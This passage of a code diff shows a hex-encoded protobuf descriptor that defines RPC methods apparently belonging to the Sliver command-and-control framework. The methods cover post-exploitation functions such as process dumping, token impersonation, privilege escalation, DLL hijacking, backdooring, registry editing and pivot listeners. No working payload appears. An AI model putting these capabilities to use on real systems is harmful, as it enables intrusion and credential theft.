+ 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68,
+ 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43,
+ 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69,
+ 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43,
+ 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c,
+ 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73,
+ 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65,
+ 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c,
+ 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65,
+ 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
+ 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73,
+ 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d,
+ 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f,
+ 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75,
+ 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a,
+ 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73,
+ 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12,
+ 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72,
+ 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65,
+ 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65,
+ 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65,
+ 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a,
+ 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79,
+ 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a,
+ 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12,
+ 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52,
+ 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a,
+ 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79,
+ 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63,
+ 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74,
+ 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67,
+ 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a,
+ 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74,
+ 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64,
+ 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45,
+ 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71,
+ 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63,
+ 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12,
+ 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c,
+ 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70,
+ 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c,
+ 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+ 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65,
+ 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e,
+ 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54,
+ 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65,
+ 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65,
+ 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53,
+ 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61,
+ 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69,
+ 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53,
+ 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70,
+ 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f,
+ 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15,
+ 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74,
+ 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52,
+ 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
+ 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a,
+ 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
+ 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70,
+ 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
+ 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61,
+ 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49,
+ 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69,
+ 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74,
+ 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49,
+ 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72,
+ 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71,
+ 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76,
+ 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54,
+ 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65,
+ 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f,
+ 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a,
+ 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e,
+ 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e,
+ 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b,
+ 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12,
+ 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12,
+ 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
+ 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
+ 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72,
+ 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
+ 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a,
+ 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
+ 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69,
+ 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
+ 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
+ 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65,
+ 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12,
+ 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
+ 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a,
+ 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
+ 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13,
+ 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b,
+ 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73,
- 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73,
- 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56,
- 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75,
- 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48,
- 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71,
- 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43,
- 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b,
- 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44,
- 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b,
- 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73,
- 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47,
- 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74,
- 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72,
- 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72,
- 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
- 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72,
- 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c,
- 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74,
